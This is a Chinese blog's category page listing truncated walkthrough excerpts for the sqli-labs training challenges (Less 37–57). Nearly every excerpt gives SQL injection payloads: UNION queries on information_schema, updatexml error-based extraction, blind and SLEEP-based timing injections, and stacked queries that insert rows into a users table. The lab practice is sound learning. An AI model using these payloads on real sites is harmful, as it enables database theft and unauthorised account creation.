随笔分类 -  sqli-lab闯关

1 2 3 下一页
Less（57）
摘要：1.和less（54）差不多， "闭合 2.爆破 （1）爆表：?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ （2）爆 阅读全文
posted @ 2020-03-24 11:21 孟雨 阅读(120) 评论(0) 推荐(0)
Less（56）
摘要：1.和Less（54）差不多， ')闭合 2.爆破 （1）爆表：?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+ （2 阅读全文
posted @ 2020-03-24 11:13 孟雨 阅读(113) 评论(0) 推荐(0)
Less（55）
摘要：1.告诉了测试次数14次， union测试 数据库challenges 和Less（54）差不多， ) 闭合 2.爆破 （1）爆表：?id=0) union select 1,2,group_concat(table_name) from information_schema.tables wher 阅读全文
posted @ 2020-03-24 11:03 孟雨 阅读(169) 评论(0) 推荐(0)
Less（54）
摘要：1.查看php文件：kek下面的那段是未为了控制查询粗疏 2.爆破 （1）爆数据库：?id=0' union select 1,2,database()--+ （2）爆表名：?id=0' union select 1,2,group_concat(table_name) from informati 阅读全文
posted @ 2020-03-24 10:48 孟雨 阅读(166) 评论(0) 推荐(0)
Less（53）
摘要：1.单引号闭合 ?sort=1' 没有报错 ?sort=1" 2.报错信息不会在前台显示，我们采用 stacked injection 方法 :?sort=1';insert into users(id,username,password) value (21,'less53','less53')- 阅读全文
posted @ 2020-03-24 10:26 孟雨 阅读(152) 评论(0) 推荐(0)
Less（52） GET -Blind based -Order By Clause -numeric -Stacked injection(GET型基于盲注的整型Order By从句堆叠注入）
摘要：1.出错别关闭了 ?sort=1' 2.报错信息不会在前台显示，我们采用 stacked injection 方法 :?sort=1;insert into users(id,username,password) value (20,'root','root') 3.也可以用盲注 原文链接:http 阅读全文
posted @ 2020-03-24 09:44 孟雨 阅读(121) 评论(0) 推荐(0)
Less（45）
摘要：1.这道题还是一道盲注,bp抓包，尝试各种闭合，当试到为')时成功写入新用户 阅读全文
posted @ 2020-03-14 16:08 孟雨 阅读(148) 评论(0) 推荐(0)
Less（44）
摘要：1.这道题没有报错回显，是一道盲注，经过测试，语句和Less（42）一样 阅读全文
posted @ 2020-03-14 15:55 孟雨 阅读(160) 评论(0) 推荐(0)
Less（43）
摘要：1.和Less（42）差不都 ')闭合 阅读全文
posted @ 2020-03-14 15:51 孟雨 阅读(147) 评论(0) 推荐(0)
Less（42）
摘要：1.bp抓包，账号处没有注入点，而密码有且没有任何加工处理，语句如图 阅读全文
posted @ 2020-03-14 15:48 孟雨 阅读(158) 评论(0) 推荐(0)
Less（51）
摘要：1.参考Less（46），单引号闭合 2.爆破 （1）爆库：?sort=1' and(updatexml(1,concat(0x7e,(select database())),0)) --+ （2）爆表：?sort=1' and(updatexml(1,concat(0x7e,(select gro 阅读全文
posted @ 2020-03-14 15:02 孟雨 阅读(139) 评论(0) 推荐(0)
Less（50）
摘要：1.参考 Less（46），数字型 2.爆破： （1）爆库：?sort=1 and(updatexml(1,concat(0x7e,(select database())),0)) （2）爆表：?sort=1 and(updatexml(1,concat(0x7e,(select group_con 阅读全文
posted @ 2020-03-14 14:42 孟雨 阅读(125) 评论(0) 推荐(0)
Less（49）
摘要：1.参考Less（46） 2.时间盲注 阅读全文
posted @ 2020-03-14 14:32 孟雨 阅读(160) 评论(0) 推荐(0)
Less（48）
摘要：1.参考Less（46） 2.盲注 （1）布尔盲注：?sort=1 ^(select(select version()) regexp '^0') （2）时间盲注：?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test)) 阅读全文
posted @ 2020-03-14 14:13 孟雨 阅读(120) 评论(0) 推荐(0)
Less（47）
摘要：1.参看Less（46），闭合为单引号 2.爆破： （1）爆库：?sort=1' and(updatexml(1,concat(0x7e,(select database())),0)) --+ （2）爆表：?sort=1' and(updatexml(1,concat(0x7e,(select g 阅读全文
posted @ 2020-03-14 13:56 孟雨 阅读(148) 评论(0) 推荐(0)
Less（46）
摘要：1.看一下php （1）用order by 注入来看看 （2）通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入 ?sort=1+asc ?sort=1+desc 2.报错注入 （1）爆库：?sort=1 and(updatexml(1,concat(0x7e,(sel 阅读全文
posted @ 2020-03-14 11:47 孟雨 阅读(179) 评论(0) 推荐(0)
Less（40）
摘要：1.参考Less（38），在单引号后加括号； 2.爆破 （1）爆库：?id=1') and 1=2 union select 1,database(),3-- - （2）爆表：?id=1') and 1=2 union select 1,group_concat(table_name),3 from 阅读全文
posted @ 2020-03-14 11:04 孟雨 阅读(206) 评论(0) 推荐(0)
Less（39）
摘要：1.和Less（38）差不多 2.爆破 （1）爆库：?id=0%9 union select 1,2,database() %23 （2）爆表：?id=0%9 union select 1,group_concat(table_name),3 from information_schema.tabl 阅读全文
posted @ 2020-03-14 11:03 孟雨 阅读(126) 评论(0) 推荐(0)
Less（38）GET-Stacked Query Injection -String
摘要：1.查看一下php， mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。（有这个才能进行堆叠）分号我们可以加入注入的新的语句 2.爆破： （1）爆库：?id=0%FE' union select 1,2,database() %23 （2）爆表：? 阅读全文
posted @ 2020-03-11 20:20 孟雨 阅读(199) 评论(0) 推荐(0)
Less（37）POST-Bypass MySQLreal escape_string
摘要：1.他和Less（34）关一样，查看源码，得知只是本关只是将过滤函数进行了替换： mysql_real_escape_string()，我们可以直接按照34关的方法即可，此处不再赘述 抓包之后，也是一样的问题 阅读全文
posted @ 2020-03-10 21:12 孟雨 阅读(181) 评论(0) 推荐(0)

1 2 3 下一页